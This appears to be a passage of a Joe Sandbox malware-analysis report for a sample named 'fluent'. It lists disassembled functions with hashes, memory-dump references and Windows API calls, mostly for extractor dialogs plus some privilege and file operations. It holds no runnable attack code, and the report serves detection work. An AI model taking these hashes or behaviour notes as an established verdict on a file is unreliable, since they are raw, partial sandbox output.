Instruction Fuzzy Hash: FDF1BD7160A3818FC754CF2AC59466FBBE2EFCA324F144A2EF48597396D630D946CB42

Function 006F6CDC Relevance: .3, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: d5652085d938401dbc54707ecdd37e7ac842285bcc96b802183cbb529ba9bcac
Instruction ID: e073ea5f311bec1c5c38c1db1978a4f2b0ef36330cdd401c9c788721fe45d78a
Opcode Fuzzy Hash: d5652085d938401dbc54707ecdd37e7ac842285bcc96b802183cbb529ba9bcac
Instruction Fuzzy Hash: DCD195B16083498FDB14DF28C8447ABBBE2BF89318F04456DFA859B342D774E905CB5A

Function 006EE9B7 Relevance: .3, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee6f0a39f280a709b36b874333c89aadc7fcb937f8ac6759ed864f0a5f5948da
Instruction ID: ab28b3a68bb8e67564b6f3c7a115a8787940b777a8e1ef23bf4d19665f3feed2
Opcode Fuzzy Hash: ee6f0a39f280a709b36b874333c89aadc7fcb937f8ac6759ed864f0a5f5948da
Instruction Fuzzy Hash: 9DE15A755083948FC314CF29D89086ABFF0AF9A300F45495EF9D497352C239EA1ADFA6

Function 006F4088 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f76ce5f2bfd603eadfe476fd56ed252682105140d24191cceba3a28b41671be8
Instruction ID: 34a418d62aff5ab99989023a92991e5b21f2f0ba538d03fad68177c2b8609f03
Opcode Fuzzy Hash: f76ce5f2bfd603eadfe476fd56ed252682105140d24191cceba3a28b41671be8
Instruction Fuzzy Hash: 939145B120038D8BDB24EEA4D891BFF77D7EB90304F10092DE79687782DE64A685C356

Function 006F43BF Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24399a2ad99dde1ffdfe4095f328d7bde986876a5c10afdb0a2a788d37c48f2a
Instruction ID: e6c818fa82a8a0f9cecf6943965866c36d51625e389e69aabef94ec39c21cfc3
Opcode Fuzzy Hash: 24399a2ad99dde1ffdfe4095f328d7bde986876a5c10afdb0a2a788d37c48f2a
Instruction Fuzzy Hash: 60812F7170434A4BDB24EE68C8D1BBF37D7EB91304F00092DE7868BA82DE649985C755

Function 04F2605C Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1697190348.0000000004F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f20000_fluent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cf60b9dbcff69c15812310dc9e8b822a73840e40a28507a51070092921fe270
Instruction ID: 405b5a4029b7e1f63dbe96c78f3b302e19dd4f5ebf92f85a9e9746b6a04099bf
Opcode Fuzzy Hash: 6cf60b9dbcff69c15812310dc9e8b822a73840e40a28507a51070092921fe270
Instruction Fuzzy Hash: DC816B76E012298BCB658F64CC486ADB7B4BF44720F55829AE89AA3254EB305F85CF50

Function 04F26381 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1697190348.0000000004F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f20000_fluent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e82162d8bc1a2302d80cd47ea33d1d67a3e87d15cf7406df60c802bf15627c8d
Instruction ID: 1627a3188da3b7abc6abaa3edb24d10dcadd474b070911f3a550849ce6161d6d
Opcode Fuzzy Hash: e82162d8bc1a2302d80cd47ea33d1d67a3e87d15cf7406df60c802bf15627c8d
Instruction Fuzzy Hash: 20614D75E012298FDF659F29CC88AA9B7B5BF48710F1142D9E85EA3250EB309F85CF50

Function 006EEFE2 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02e6836267dd733cab1bb8c28800f31304f78507a0a10730df2a30b65d4de016
Instruction ID: f62292c4eeba52ac16f9b9bdc6a52145b1a5e82151a3a764551ccf0388982cd8
Opcode Fuzzy Hash: 02e6836267dd733cab1bb8c28800f31304f78507a0a10730df2a30b65d4de016
Instruction Fuzzy Hash: 5A51D53150A3D58FC712CF29C1504AEFFE1AE9A314F5909ADE8D95B243C225DB4ACB52

Function 006FF654 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43b8149702a967dcb051f78bd00cfb1824eec9a3c20b95ebe6492157da8edfb5
Instruction ID: 0a650760832a894df2c25b8b4c9aee2e593dd647ff8a3da3856d95a08fa5d78a
Opcode Fuzzy Hash: 43b8149702a967dcb051f78bd00cfb1824eec9a3c20b95ebe6492157da8edfb5
Instruction Fuzzy Hash: 79516BB1E006098FEB25CF58E8816EABBF5FB88354F24C56AD911EB390D3799940CF54

Function 006F00B7 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84b1184c97383228e41923c57dbb4668206af4b00e9c6291c1ecd6bf265df562
Instruction ID: 0cdb5d55aae8c6a1681a3aa9403c386e40c4cd13e2c91909c4ff8fc49551cb6f
Opcode Fuzzy Hash: 84b1184c97383228e41923c57dbb4668206af4b00e9c6291c1ecd6bf265df562
Instruction Fuzzy Hash: 5A51DFB1A087159FC748CF19D48055AF7E1FF88314F058A2EE899E3341DB34EA59CB9A

Function 006F3E0B Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
Instruction ID: 2fc63215c90cbc804577f9d44f107f358fbec9a2b3acdc38e61152b715b330fe
Opcode Fuzzy Hash: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
Instruction Fuzzy Hash: 643118B1A1475A8FCB54DF28C8511AEBBE1FB95304F50452DE589C7341C734EA0ACB92

Function 006FC220 Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 286windowCOMMON

Download Yara Rule

APIs

Part of subcall function 006E1316: GetDlgItem.USER32(00000000,00003021), ref: 006E135A
Part of subcall function 006E1316: SetWindowTextW.USER32(00000000,007135F4), ref: 006E1370

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 006FC2B1
EndDialog.USER32(?,00000006), ref: 006FC2C4
GetDlgItem.USER32(?,0000006C), ref: 006FC2E0
SetFocus.USER32(00000000), ref: 006FC2E7
SetDlgItemTextW.USER32(?,00000065,?), ref: 006FC321
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 006FC358
_swprintf.LIBCMT ref: 006FC404

Part of subcall function 006E4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 006E40A5

SetDlgItemTextW.USER32(?,0000006A,?), ref: 006FC417
_swprintf.LIBCMT ref: 006FC477
SetDlgItemTextW.USER32(?,00000068,?), ref: 006FC48A
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 006FC4A7
_swprintf.LIBCMT ref: 006FC535
SetDlgItemTextW.USER32(?,0000006B,?), ref: 006FC548
_swprintf.LIBCMT ref: 006FC59C
SetDlgItemTextW.USER32(?,00000069,?), ref: 006FC5AF

Strings

Po, xrefs: 006FC342
REPLACEFILEDLG, xrefs: 006FC247
%s %s, xrefs: 006FC469, 006FC58E
%s %s %s, xrefs: 006FC3F2, 006FC527

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: Item$Text$_swprintf$MessageSend$DialogFocusWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$Po$REPLACEFILEDLG
API String ID: 902387417-2679035353
Opcode ID: 75d7efbdb9fa44969fe24ac654310c9dce38fec899930c9b2039433ae47aeee4
Instruction ID: 04d8bf65ffcc4b76c0176ddd78f00d800d7e729d536410c3b587fb8f929fdc70
Opcode Fuzzy Hash: 75d7efbdb9fa44969fe24ac654310c9dce38fec899930c9b2039433ae47aeee4
Instruction Fuzzy Hash: A991A47214834CBBE221DBA4CD49FFB77ADEB8A710F008819F749D6181D775AA048766

Function 006EE2E8 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 234COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 006EE30E

Part of subcall function 006E4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 006E40A5

_strlen.LIBCMT ref: 006EE32F
SetDlgItemTextW.USER32(?,0071E274,?), ref: 006EE38F
GetWindowRect.USER32(?,?), ref: 006EE3C9
GetClientRect.USER32(?,?), ref: 006EE3D5
GetWindowLongW.USER32(?,000000F0), ref: 006EE475
GetWindowRect.USER32(?,?), ref: 006EE4A2
SetWindowTextW.USER32(?,?), ref: 006EE4DB
GetSystemMetrics.USER32(00000008), ref: 006EE4E3
GetWindow.USER32(?,00000005), ref: 006EE4EE
GetWindowRect.USER32(00000000,?), ref: 006EE51B
GetWindow.USER32(00000000,00000002), ref: 006EE58D

Strings

CAPTION, xrefs: 006EE4BD
$%s:, xrefs: 006EE302
d, xrefs: 006EE3F5

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: Window$Rect$Text$ClientItemLongMetricsSystem__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 1562912926-2512411981
Opcode ID: da01744a87402f3e701b13d9a7f9d6a4aecb00ae255be09d2281196c19d9cf6a
Instruction ID: f022a106071492db51bb35e439f4956a820047a7cc042826f47f11f4f3b45062
Opcode Fuzzy Hash: da01744a87402f3e701b13d9a7f9d6a4aecb00ae255be09d2281196c19d9cf6a
Instruction Fuzzy Hash: 5081C171208345AFD710DF69CC88A6FBBE9EBC9704F04492DFA88D7290D736E9058B52

Function 006FD69E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 006FD6C1
GetClassNameW.USER32(00000000,?,00000800), ref: 006FD6ED
GetWindowLongW.USER32(00000000,000000F0), ref: 006FD709
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 006FD720
GetObjectW.GDI32(00000000,00000018,?), ref: 006FD734
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 006FD75D
DeleteObject.GDI32(00000000), ref: 006FD764
GetWindow.USER32(00000000,00000002), ref: 006FD76D

Strings

STATIC, xrefs: 006FD6F3

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassDeleteLongName
String ID: STATIC
API String ID: 2845197485-1882779555
Opcode ID: e4917f7f6cd5ee7e0212ec435e3254c37c0511007ddc412b19b88290136a77be
Instruction ID: ac00135d945004ccc8cd19c0039d7b8b4fb9e82d940c90949cf93b290dfe11a6
Opcode Fuzzy Hash: e4917f7f6cd5ee7e0212ec435e3254c37c0511007ddc412b19b88290136a77be
Instruction Fuzzy Hash: 21113A761043187BE2217BB09C4AFFF765FAF02741F008216FB15E51A1D7689A0542AD

Function 006E6FA5 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 329COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 006E6FAA
_wcslen.LIBCMT ref: 006E7013
_wcslen.LIBCMT ref: 006E7084

Part of subcall function 006EA1E0: DeleteFileW.KERNELBASE(000000FF,?,?,006E977F,?,?,006E95CF,00000000,00712641,000000FF), ref: 006EA1F1

Part of subcall function 006E9DA2: SetFileTime.KERNELBASE(?,?,?,?), ref: 006E9E70

Part of subcall function 006E9620: FindCloseChangeNotification.KERNELBASE(000000FF,?,?,006E95D6,00000000,00712641,000000FF), ref: 006E963B

Part of subcall function 006EA4ED: SetFileAttributesW.KERNELBASE(00000001,00000000,00000001,?,006EA325,00000001,006E70E6,?,006EA175,?,00000001,00000000,?,?), ref: 006EA501

Strings

SE1, xrefs: 006E70E6
SeCreateSymbolicLinkPrivilege, xrefs: 006E6FCC
SeRestorePrivilege, xrefs: 006E6FC2
UNC\, xrefs: 006E7051
\??\, xrefs: 006E702B

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: File$_wcslen$AttributesChangeCloseDeleteFindH_prologNotificationTime
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$SE1$UNC\$\??\
API String ID: 1400313419-102587364
Opcode ID: bb629feeb289722e4527f735bc57e08e645d46ee1b455666d9af7ab1cf976727
Instruction ID: 8341d2f86e6823a10d383ad1532c14c77fa7dfd776edb1010d17990a2382a014
Opcode Fuzzy Hash: bb629feeb289722e4527f735bc57e08e645d46ee1b455666d9af7ab1cf976727
Instruction Fuzzy Hash: 8AC106B1905384AEDB20DB75DC41FEEB7AEAF08300F00455AFA56E7282D734AB44CB65

Function 006FB5C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 006E1316: GetDlgItem.USER32(00000000,00003021), ref: 006E135A
Part of subcall function 006E1316: SetWindowTextW.USER32(00000000,007135F4), ref: 006E1370

EndDialog.USER32(?,00000001), ref: 006FB610
SendMessageW.USER32(?,00000080,00000001,?), ref: 006FB637
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 006FB650
SetWindowTextW.USER32(?,?), ref: 006FB661
GetDlgItem.USER32(?,00000065), ref: 006FB66A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 006FB67E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 006FB694

Strings

LICENSEDLG, xrefs: 006FB5D4

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: 6f2eac31bf3142bc60ee15bcf5529b53e96d3ff58e2081d7023f9f73503c9c89
